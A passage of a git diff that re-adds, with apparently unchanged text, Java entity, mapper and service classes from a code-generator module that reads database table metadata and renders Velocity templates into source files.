表列信息 - */ - @Valid - @TableField(exist = false) - private List columns; - - /** - * 其它生成选项 - */ - private String options; - - /** - * 备注 - */ - private String remark; - - /** - * 树编码字段 - */ - @TableField(exist = false) - private String treeCode; - - /** - * 树父编码字段 - */ - @TableField(exist = false) - private String treeParentCode; - - /** - * 树名称字段 - */ - @TableField(exist = false) - private String treeName; - - /* - * 菜单id列表 - */ - @TableField(exist = false) - private List menuIds; - - /** - * 上级菜单ID字段 - */ - @TableField(exist = false) - private Long parentMenuId; - - /** - * 上级菜单名称字段 - */ - @TableField(exist = false) - private String parentMenuName; - - public boolean isTree() { - return isTree(this.tplCategory); - } - - public static boolean isTree(String tplCategory) { - return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory); - } - - public boolean isCrud() { - return isCrud(this.tplCategory); - } - - public static boolean isCrud(String tplCategory) { - return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory); - } - - public boolean isSuperColumn(String javaField) { - return isSuperColumn(this.tplCategory, javaField); - } - - public static boolean isSuperColumn(String tplCategory, String javaField) { - return StringUtils.equalsAnyIgnoreCase(javaField, GenConstants.BASE_ENTITY); - } -} +package org.dromara.generator.domain; + +import com.baomidou.mybatisplus.annotation.FieldStrategy; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.generator.constant.GenConstants; + +import java.util.List; + +/** + * 业务表 gen_table + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("gen_table") +public class GenTable extends BaseEntity { + + /** + * 编号 + */ + @TableId(value = "table_id") + private Long tableId; + + /** + * 数据源名称 + */ + @NotBlank(message = "数据源名称不能为空") + private String dataName; + + /** + * 表名称 + */ + @NotBlank(message = "表名称不能为空") + private String tableName; + + /** + * 表描述 + */ + @NotBlank(message = "表描述不能为空") + private String tableComment; + + /** + * 关联父表的表名 + */ + private String subTableName; + + /** + * 本表关联父表的外键名 + */ + private String subTableFkName; + + /** + * 实体类名称(首字母大写) + */ + @NotBlank(message = "实体类名称不能为空") + private String className; + + /** + * 使用的模板(crud单表操作 tree树表操作 sub主子表操作) + */ + private String tplCategory; + + /** + * 生成包路径 + */ + @NotBlank(message = "生成包路径不能为空") + private String packageName; + + /** + * 生成模块名 + */ + @NotBlank(message = "生成模块名不能为空") + private String moduleName; + + /** + * 生成业务名 + */ + @NotBlank(message = "生成业务名不能为空") + private String businessName; + + /** + * 生成功能名 + */ + @NotBlank(message = "生成功能名不能为空") + private String functionName; + + /** + * 生成作者 + */ + @NotBlank(message = "作者不能为空") + private String functionAuthor; + + /** + * 生成代码方式(0zip压缩包 1自定义路径) + */ + private String genType; + + /** + * 生成路径(不填默认项目路径) + */ + @TableField(updateStrategy = FieldStrategy.NOT_EMPTY) + private String genPath; + + /** + * 主键信息 + */ + @TableField(exist = false) + private GenTableColumn pkColumn; + + /** + * 表列信息 + */ + @Valid + @TableField(exist = false) + private List columns; + + /** + * 其它生成选项 + */ + private String options; + + /** + * 备注 + */ + private String remark; + + /** + * 树编码字段 + */ + @TableField(exist = false) + private String treeCode; + + /** + * 树父编码字段 + */ + @TableField(exist = false) + private String treeParentCode; + + /** + * 树名称字段 + */ + @TableField(exist = false) + private String treeName; + + /* + * 菜单id列表 + */ + @TableField(exist = false) + private List menuIds; + + /** + * 上级菜单ID字段 + */ + @TableField(exist = false) + private Long parentMenuId; + + /** + * 上级菜单名称字段 + */ + @TableField(exist = false) + private String parentMenuName; + + public boolean isTree() { + return isTree(this.tplCategory); + } + + public static boolean isTree(String tplCategory) { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory); + } + + public boolean isCrud() { + return isCrud(this.tplCategory); + } + + public static boolean isCrud(String tplCategory) { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory); + } + + public boolean isSuperColumn(String javaField) { + return isSuperColumn(this.tplCategory, javaField); + } + + public static boolean isSuperColumn(String tplCategory, String javaField) { + return StringUtils.equalsAnyIgnoreCase(javaField, GenConstants.BASE_ENTITY); + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTableColumn.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTableColumn.java index 8120d0b..0b8558a 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTableColumn.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTableColumn.java @@ -1,221 +1,221 @@ -package org.dromara.generator.domain; - -import com.baomidou.mybatisplus.annotation.FieldStrategy; -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.apache.ibatis.type.JdbcType; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -/** - * 代码生成业务字段表 gen_table_column - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("gen_table_column") -public class GenTableColumn extends BaseEntity { - - /** - * 编号 - */ - @TableId(value = "column_id") - private Long columnId; - - /** - * 归属表编号 - */ - private Long tableId; - - /** - * 列名称 - */ - private String columnName; - - /** - * 列描述 - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String columnComment; - - /** - * 列类型 - */ - private String columnType; - - /** - * JAVA类型 - */ - private String javaType; - - /** - * JAVA字段名 - */ - @NotBlank(message = "Java属性不能为空") - private String javaField; - - /** - * 是否主键(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isPk; - - /** - * 是否自增(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isIncrement; - - /** - * 是否必填(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isRequired; - - /** - * 是否为插入字段(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isInsert; - - /** - * 是否编辑字段(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isEdit; - - /** - * 是否列表字段(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isList; - - /** - * 是否查询字段(1是) - */ - @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) - private String isQuery; - - /** - * 查询方式(EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围) - */ - private String queryType; - - /** - * 显示类型(input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、image图片上传控件、upload文件上传控件、editor富文本控件) - */ - private String htmlType; - - /** - * 字典类型 - */ - private String dictType; - - /** - * 排序 - */ - private Integer sort; - - public String getCapJavaField() { - return StringUtils.capitalize(javaField); - } - - public boolean isPk() { - return isPk(this.isPk); - } - - public boolean isPk(String isPk) { - return isPk != null && StringUtils.equals("1", isPk); - } - - public boolean isIncrement() { - return isIncrement(this.isIncrement); - } - - public boolean isIncrement(String isIncrement) { - return isIncrement != null && StringUtils.equals("1", isIncrement); - } - - public boolean isRequired() { - return isRequired(this.isRequired); - } - - public boolean isRequired(String isRequired) { - return isRequired != null && StringUtils.equals("1", isRequired); - } - - public boolean isInsert() { - return isInsert(this.isInsert); - } - - public boolean isInsert(String isInsert) { - return isInsert != null && StringUtils.equals("1", isInsert); - } - - public boolean isEdit() { - return isInsert(this.isEdit); - } - - public boolean isEdit(String isEdit) { - return isEdit != null && StringUtils.equals("1", isEdit); - } - - public boolean isList() { - return isList(this.isList); - } - - public boolean isList(String isList) { - return isList != null && StringUtils.equals("1", isList); - } - - public boolean isQuery() { - return isQuery(this.isQuery); - } - - public boolean isQuery(String isQuery) { - return isQuery != null && StringUtils.equals("1", isQuery); - } - - public boolean isSuperColumn() { - return isSuperColumn(this.javaField); - } - - public static boolean isSuperColumn(String javaField) { - return StringUtils.equalsAnyIgnoreCase(javaField, - // BaseEntity - "createBy", "createTime", "updateBy", "updateTime", - // TreeEntity - "parentName", "parentId"); - } - - public boolean isUsableColumn() { - return isUsableColumn(javaField); - } - - public static boolean isUsableColumn(String javaField) { - // isSuperColumn()中的名单用于避免生成多余Domain属性,若某些属性在生成页面时需要用到不能忽略,则放在此处白名单 - return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark"); - } - - public String readConverterExp() { - String remarks = StringUtils.substringBetween(this.columnComment, "(", ")"); - StringBuffer sb = new StringBuffer(); - if (StringUtils.isNotEmpty(remarks)) { - for (String value : remarks.split(" ")) { - if (StringUtils.isNotEmpty(value)) { - Object startStr = value.subSequence(0, 1); - String endStr = value.substring(1); - sb.append(StringUtils.EMPTY).append(startStr).append("=").append(endStr).append(StringUtils.SEPARATOR); - } - } - return sb.deleteCharAt(sb.length() - 1).toString(); - } else { - return this.columnComment; - } - } -} +package org.dromara.generator.domain; + +import com.baomidou.mybatisplus.annotation.FieldStrategy; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.apache.ibatis.type.JdbcType; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +/** + * 代码生成业务字段表 gen_table_column + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("gen_table_column") +public class GenTableColumn extends BaseEntity { + + /** + * 编号 + */ + @TableId(value = "column_id") + private Long columnId; + + /** + * 归属表编号 + */ + private Long tableId; + + /** + * 列名称 + */ + private String columnName; + + /** + * 列描述 + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String columnComment; + + /** + * 列类型 + */ + private String columnType; + + /** + * JAVA类型 + */ + private String javaType; + + /** + * JAVA字段名 + */ + @NotBlank(message = "Java属性不能为空") + private String javaField; + + /** + * 是否主键(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isPk; + + /** + * 是否自增(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isIncrement; + + /** + * 是否必填(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isRequired; + + /** + * 是否为插入字段(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isInsert; + + /** + * 是否编辑字段(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isEdit; + + /** + * 是否列表字段(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isList; + + /** + * 是否查询字段(1是) + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS, jdbcType = JdbcType.VARCHAR) + private String isQuery; + + /** + * 查询方式(EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围) + */ + private String queryType; + + /** + * 显示类型(input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、image图片上传控件、upload文件上传控件、editor富文本控件) + */ + private String htmlType; + + /** + * 字典类型 + */ + private String dictType; + + /** + * 排序 + */ + private Integer sort; + + public String getCapJavaField() { + return StringUtils.capitalize(javaField); + } + + public boolean isPk() { + return isPk(this.isPk); + } + + public boolean isPk(String isPk) { + return isPk != null && StringUtils.equals("1", isPk); + } + + public boolean isIncrement() { + return isIncrement(this.isIncrement); + } + + public boolean isIncrement(String isIncrement) { + return isIncrement != null && StringUtils.equals("1", isIncrement); + } + + public boolean isRequired() { + return isRequired(this.isRequired); + } + + public boolean isRequired(String isRequired) { + return isRequired != null && StringUtils.equals("1", isRequired); + } + + public boolean isInsert() { + return isInsert(this.isInsert); + } + + public boolean isInsert(String isInsert) { + return isInsert != null && StringUtils.equals("1", isInsert); + } + + public boolean isEdit() { + return isInsert(this.isEdit); + } + + public boolean isEdit(String isEdit) { + return isEdit != null && StringUtils.equals("1", isEdit); + } + + public boolean isList() { + return isList(this.isList); + } + + public boolean isList(String isList) { + return isList != null && StringUtils.equals("1", isList); + } + + public boolean isQuery() { + return isQuery(this.isQuery); + } + + public boolean isQuery(String isQuery) { + return isQuery != null && StringUtils.equals("1", isQuery); + } + + public boolean isSuperColumn() { + return isSuperColumn(this.javaField); + } + + public static boolean isSuperColumn(String javaField) { + return StringUtils.equalsAnyIgnoreCase(javaField, + // BaseEntity + "createBy", "createTime", "updateBy", "updateTime", + // TreeEntity + "parentName", "parentId"); + } + + public boolean isUsableColumn() { + return isUsableColumn(javaField); + } + + public static boolean isUsableColumn(String javaField) { + // isSuperColumn()中的名单用于避免生成多余Domain属性,若某些属性在生成页面时需要用到不能忽略,则放在此处白名单 + return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark"); + } + + public String readConverterExp() { + String remarks = StringUtils.substringBetween(this.columnComment, "(", ")"); + StringBuffer sb = new StringBuffer(); + if (StringUtils.isNotEmpty(remarks)) { + for (String value : remarks.split(" ")) { + if (StringUtils.isNotEmpty(value)) { + Object startStr = value.subSequence(0, 1); + String endStr = value.substring(1); + sb.append(StringUtils.EMPTY).append(startStr).append("=").append(endStr).append(StringUtils.SEPARATOR); + } + } + return sb.deleteCharAt(sb.length() - 1).toString(); + } else { + return this.columnComment; + } + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableColumnMapper.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableColumnMapper.java index ed8ed20..4f554cf 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableColumnMapper.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableColumnMapper.java @@ -1,15 +1,15 @@ -package org.dromara.generator.mapper; - -import com.baomidou.mybatisplus.annotation.InterceptorIgnore; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.generator.domain.GenTableColumn; - -/** - * 业务字段 数据层 - * - * @author Lion Li - */ -@InterceptorIgnore(dataPermission = "true", tenantLine = "true") -public interface GenTableColumnMapper extends BaseMapperPlus { - -} +package org.dromara.generator.mapper; + +import com.baomidou.mybatisplus.annotation.InterceptorIgnore; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.generator.domain.GenTableColumn; + +/** + * 业务字段 数据层 + * + * @author Lion Li + */ +@InterceptorIgnore(dataPermission = "true", tenantLine = "true") +public interface GenTableColumnMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableMapper.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableMapper.java index 1798b4b..f00bd5f 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableMapper.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/mapper/GenTableMapper.java @@ -1,51 +1,51 @@ -package org.dromara.generator.mapper; - -import com.baomidou.dynamic.datasource.annotation.DS; -import com.baomidou.mybatisplus.annotation.InterceptorIgnore; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.generator.domain.GenTable; - -import java.util.List; - -/** - * 业务 数据层 - * - * @author Lion Li - */ -@InterceptorIgnore(dataPermission = "true", tenantLine = "true") -public interface GenTableMapper extends BaseMapperPlus { - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - List selectGenTableAll(); - - /** - * 查询表ID业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - GenTable selectGenTableById(Long id); - - /** - * 查询表名称业务信息 - * - * @param tableName 表名称 - * @return 业务信息 - */ - GenTable selectGenTableByName(String tableName); - - /** - * 查询指定数据源下的所有表名列表 - * - * @param dataName 数据源名称,用于选择不同的数据源 - * @return 当前数据库中的表名列表 - * - * @DS("") 使用默认数据源执行查询操作 - */ - @DS("") - List selectTableNameList(String dataName); -} +package org.dromara.generator.mapper; + +import com.baomidou.dynamic.datasource.annotation.DS; +import com.baomidou.mybatisplus.annotation.InterceptorIgnore; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.generator.domain.GenTable; + +import java.util.List; + +/** + * 业务 数据层 + * + * @author Lion Li + */ +@InterceptorIgnore(dataPermission = "true", tenantLine = "true") +public interface GenTableMapper extends BaseMapperPlus { + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + List selectGenTableAll(); + + /** + * 查询表ID业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + GenTable selectGenTableById(Long id); + + /** + * 查询表名称业务信息 + * + * @param tableName 表名称 + * @return 业务信息 + */ + GenTable selectGenTableByName(String tableName); + + /** + * 查询指定数据源下的所有表名列表 + * + * @param dataName 数据源名称,用于选择不同的数据源 + * @return 当前数据库中的表名列表 + * + * @DS("") 使用默认数据源执行查询操作 + */ + @DS("") + List selectTableNameList(String dataName); +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/GenTableServiceImpl.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/GenTableServiceImpl.java index 7eb99eb..507b540 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/GenTableServiceImpl.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/GenTableServiceImpl.java @@ -1,591 +1,591 @@ -package org.dromara.generator.service; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.lang.Dict; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.dynamic.datasource.annotation.DS; -import com.baomidou.dynamic.datasource.annotation.DSTransactional; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.anyline.metadata.Column; -import org.anyline.metadata.Table; -import org.anyline.proxy.ServiceProxy; -import org.apache.velocity.Template; -import org.apache.velocity.VelocityContext; -import org.apache.velocity.app.Velocity; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.file.FileUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.generator.constant.GenConstants; -import org.dromara.generator.domain.GenTable; -import org.dromara.generator.domain.GenTableColumn; -import org.dromara.generator.mapper.GenTableColumnMapper; -import org.dromara.generator.mapper.GenTableMapper; -import org.dromara.generator.util.GenUtils; -import org.dromara.generator.util.VelocityInitializer; -import org.dromara.generator.util.VelocityUtils; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.IOException; -import java.io.StringWriter; -import java.nio.charset.StandardCharsets; -import java.util.*; -import java.util.zip.ZipEntry; -import java.util.zip.ZipOutputStream; - -/** - * 业务 服务层实现 - * - * @author Lion Li - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class GenTableServiceImpl implements IGenTableService { - - private final GenTableMapper baseMapper; - private final GenTableColumnMapper genTableColumnMapper; - private final IdentifierGenerator identifierGenerator; - - private static final String[] TABLE_IGNORE = new String[]{"sj_", "act_", "flw_", "gen_"}; - - /** - * 查询业务字段列表 - * - * @param tableId 业务字段编号 - * @return 业务字段集合 - */ - @Override - public List selectGenTableColumnListByTableId(Long tableId) { - return genTableColumnMapper.selectList(new LambdaQueryWrapper() - .eq(GenTableColumn::getTableId, tableId) - .orderByAsc(GenTableColumn::getSort)); - } - - /** - * 查询业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - @Override - public GenTable selectGenTableById(Long id) { - GenTable genTable = baseMapper.selectGenTableById(id); - setTableFromOptions(genTable); - return genTable; - } - - @Override - public TableDataInfo selectPageGenTableList(GenTable genTable, PageQuery pageQuery) { - Page page = baseMapper.selectPage(pageQuery.build(), this.buildGenTableQueryWrapper(genTable)); - return TableDataInfo.build(page); - } - - private QueryWrapper buildGenTableQueryWrapper(GenTable genTable) { - Map params = genTable.getParams(); - QueryWrapper wrapper = Wrappers.query(); - wrapper - .eq(StringUtils.isNotEmpty(genTable.getDataName()), "data_name", genTable.getDataName()) - .like(StringUtils.isNotBlank(genTable.getTableName()), "lower(table_name)", StringUtils.lowerCase(genTable.getTableName())) - .like(StringUtils.isNotBlank(genTable.getTableComment()), "lower(table_comment)", StringUtils.lowerCase(genTable.getTableComment())) - .between(params.get("beginTime") != null && params.get("endTime") != null, - "create_time", params.get("beginTime"), params.get("endTime")) - .orderByDesc("update_time"); - return wrapper; - } - - /** - * 查询数据库列表 - * - * @param genTable 包含查询条件的GenTable对象 - * @param pageQuery 包含分页信息的PageQuery对象 - * @return 包含分页结果的TableDataInfo对象 - */ - @DS("#genTable.dataName") - @Override - public TableDataInfo selectPageDbTableList(GenTable genTable, PageQuery pageQuery) { - // 获取查询条件 - String tableName = genTable.getTableName(); - String tableComment = genTable.getTableComment(); - - LinkedHashMap> tablesMap = ServiceProxy.metadata().tables(); - if (CollUtil.isEmpty(tablesMap)) { - return TableDataInfo.build(); - } - List tableNames = baseMapper.selectTableNameList(genTable.getDataName()); - String[] tableArrays; - if (CollUtil.isNotEmpty(tableNames)) { - tableArrays = tableNames.toArray(new String[0]); - } else { - tableArrays = new String[0]; - } - // 过滤并转换表格数据 - List tables = tablesMap.values().stream() - .filter(x -> !startWithAnyIgnoreCase(x.getName(), TABLE_IGNORE)) - .filter(x -> { - if (CollUtil.isEmpty(tableNames)) { - return true; - } - return !StringUtils.equalsAnyIgnoreCase(x.getName(), tableArrays); - }) - .filter(x -> { - boolean nameMatches = true; - boolean commentMatches = true; - // 进行表名称的模糊查询 - if (StringUtils.isNotBlank(tableName)) { - nameMatches = StringUtils.containsIgnoreCase(x.getName(), tableName); - } - // 进行表描述的模糊查询 - if (StringUtils.isNotBlank(tableComment)) { - commentMatches = StringUtils.containsIgnoreCase(x.getComment(), tableComment); - } - // 同时匹配名称和描述 - return nameMatches && commentMatches; - }) - .map(x -> { - GenTable gen = new GenTable(); - gen.setTableName(x.getName()); - gen.setTableComment(x.getComment()); - gen.setCreateTime(x.getCreateTime()); - gen.setUpdateTime(x.getUpdateTime()); - return gen; - }).sorted(Comparator.comparing(GenTable::getCreateTime).reversed()) - .toList(); - - IPage page = pageQuery.build(); - page.setTotal(tables.size()); - // 手动分页 set数据 - page.setRecords(CollUtil.page((int) page.getCurrent() - 1, (int) page.getSize(), tables)); - return TableDataInfo.build(page); - } - - public static boolean startWithAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) { - // 判断是否是以指定字符串开头 - for (CharSequence searchCharSequence : searchCharSequences) { - if (StringUtils.startsWithIgnoreCase(cs, searchCharSequence)) { - return true; - } - } - return false; - } - - /** - * 查询据库列表 - * - * @param tableNames 表名称组 - * @param dataName 数据源名称 - * @return 数据库表集合 - */ - @DS("#dataName") - @Override - public List selectDbTableListByNames(String[] tableNames, String dataName) { - Set tableNameSet = new HashSet<>(List.of(tableNames)); - LinkedHashMap> tablesMap = ServiceProxy.metadata().tables(); - - if (CollUtil.isEmpty(tablesMap)) { - return new ArrayList<>(); - } - - List> tableList = tablesMap.values().stream() - .filter(x -> !startWithAnyIgnoreCase(x.getName(), TABLE_IGNORE)) - .filter(x -> tableNameSet.contains(x.getName())).toList(); - - if (CollUtil.isEmpty(tableList)) { - return new ArrayList<>(); - } - return tableList.stream().map(x -> { - GenTable gen = new GenTable(); - gen.setDataName(dataName); - gen.setTableName(x.getName()); - gen.setTableComment(x.getComment()); - gen.setCreateTime(x.getCreateTime()); - gen.setUpdateTime(x.getUpdateTime()); - return gen; - }).toList(); - } - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - @Override - public List selectGenTableAll() { - return baseMapper.selectGenTableAll(); - } - - /** - * 修改业务 - * - * @param genTable 业务信息 - */ - @Transactional(rollbackFor = Exception.class) - @Override - public void updateGenTable(GenTable genTable) { - String options = JsonUtils.toJsonString(genTable.getParams()); - genTable.setOptions(options); - int row = baseMapper.updateById(genTable); - if (row > 0) { - for (GenTableColumn cenTableColumn : genTable.getColumns()) { - genTableColumnMapper.updateById(cenTableColumn); - } - } - } - - /** - * 删除业务对象 - * - * @param tableIds 需要删除的数据ID - */ - @Transactional(rollbackFor = Exception.class) - @Override - public void deleteGenTableByIds(Long[] tableIds) { - List ids = Arrays.asList(tableIds); - baseMapper.deleteByIds(ids); - genTableColumnMapper.delete(new LambdaQueryWrapper().in(GenTableColumn::getTableId, ids)); - } - - /** - * 导入表结构 - * - * @param tableList 导入表列表 - * @param dataName 数据源名称 - */ - @DSTransactional - @Override - public void importGenTable(List tableList, String dataName) { - try { - for (GenTable table : tableList) { - String tableName = table.getTableName(); - GenUtils.initTable(table); - table.setDataName(dataName); - int row = baseMapper.insert(table); - if (row > 0) { - // 保存列信息 - List genTableColumns = SpringUtils.getAopProxy(this).selectDbTableColumnsByName(tableName, dataName); - List saveColumns = new ArrayList<>(); - for (GenTableColumn column : genTableColumns) { - GenUtils.initColumnField(column, table); - saveColumns.add(column); - } - if (CollUtil.isNotEmpty(saveColumns)) { - genTableColumnMapper.insertBatch(saveColumns); - } - } - } - } catch (Exception e) { - throw new ServiceException("导入失败:" + e.getMessage()); - } - } - - /** - * 根据表名称查询列信息 - * - * @param tableName 表名称 - * @param dataName 数据源名称 - * @return 列信息 - */ - @DS("#dataName") - @Override - public List selectDbTableColumnsByName(String tableName, String dataName) { - Table table = ServiceProxy.metadata().table(tableName); - if (ObjectUtil.isNull(table)) { - return new ArrayList<>(); - } - LinkedHashMap columns = table.getColumns(); - List tableColumns = new ArrayList<>(); - columns.forEach((columnName, column) -> { - GenTableColumn tableColumn = new GenTableColumn(); - tableColumn.setIsPk(String.valueOf(column.isPrimaryKey())); - tableColumn.setColumnName(column.getName()); - tableColumn.setColumnComment(column.getComment()); - tableColumn.setColumnType(column.getOriginType().toLowerCase()); - tableColumn.setSort(column.getPosition()); - tableColumn.setIsRequired(column.isNullable() == 0 ? "1" : "0"); - tableColumn.setIsIncrement(column.isAutoIncrement() == -1 ? "0" : "1"); - tableColumns.add(tableColumn); - }); - return tableColumns; - } - - /** - * 预览代码 - * - * @param tableId 表编号 - * @return 预览数据列表 - */ - @Override - public Map previewCode(Long tableId) { - Map dataMap = new LinkedHashMap<>(); - // 查询表信息 - GenTable table = baseMapper.selectGenTableById(tableId); - List menuIds = new ArrayList<>(); - for (int i = 0; i < 6; i++) { - menuIds.add(identifierGenerator.nextId(null).longValue()); - } - table.setMenuIds(menuIds); - // 设置主键列信息 - setPkColumn(table); - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - dataMap.put(template, sw.toString()); - } - return dataMap; - } - - /** - * 生成代码(下载方式) - * - * @param tableId 表名称 - * @return 数据 - */ - @Override - public byte[] downloadCode(Long tableId) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - ZipOutputStream zip = new ZipOutputStream(outputStream); - generatorCode(tableId, zip); - IoUtil.close(zip); - return outputStream.toByteArray(); - } - - /** - * 生成代码(自定义路径) - * - * @param tableId 表名称 - */ - @Override - public void generatorCode(Long tableId) { - // 查询表信息 - GenTable table = baseMapper.selectGenTableById(tableId); - // 设置主键列信息 - setPkColumn(table); - - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - if (!StringUtils.containsAny(template, "sql.vm", "api.ts.vm", "types.ts.vm", "index.vue.vm", "index-tree.vue.vm")) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - String path = getGenPath(table, template); - FileUtils.writeUtf8String(sw.toString(), path); - } catch (Exception e) { - throw new ServiceException("渲染模板失败,表名:" + table.getTableName()); - } - } - } - } - - /** - * 同步数据库 - * - * @param tableId 表名称 - */ - @DSTransactional - @Override - public void synchDb(Long tableId) { - GenTable table = baseMapper.selectGenTableById(tableId); - List tableColumns = table.getColumns(); - Map tableColumnMap = StreamUtils.toIdentityMap(tableColumns, 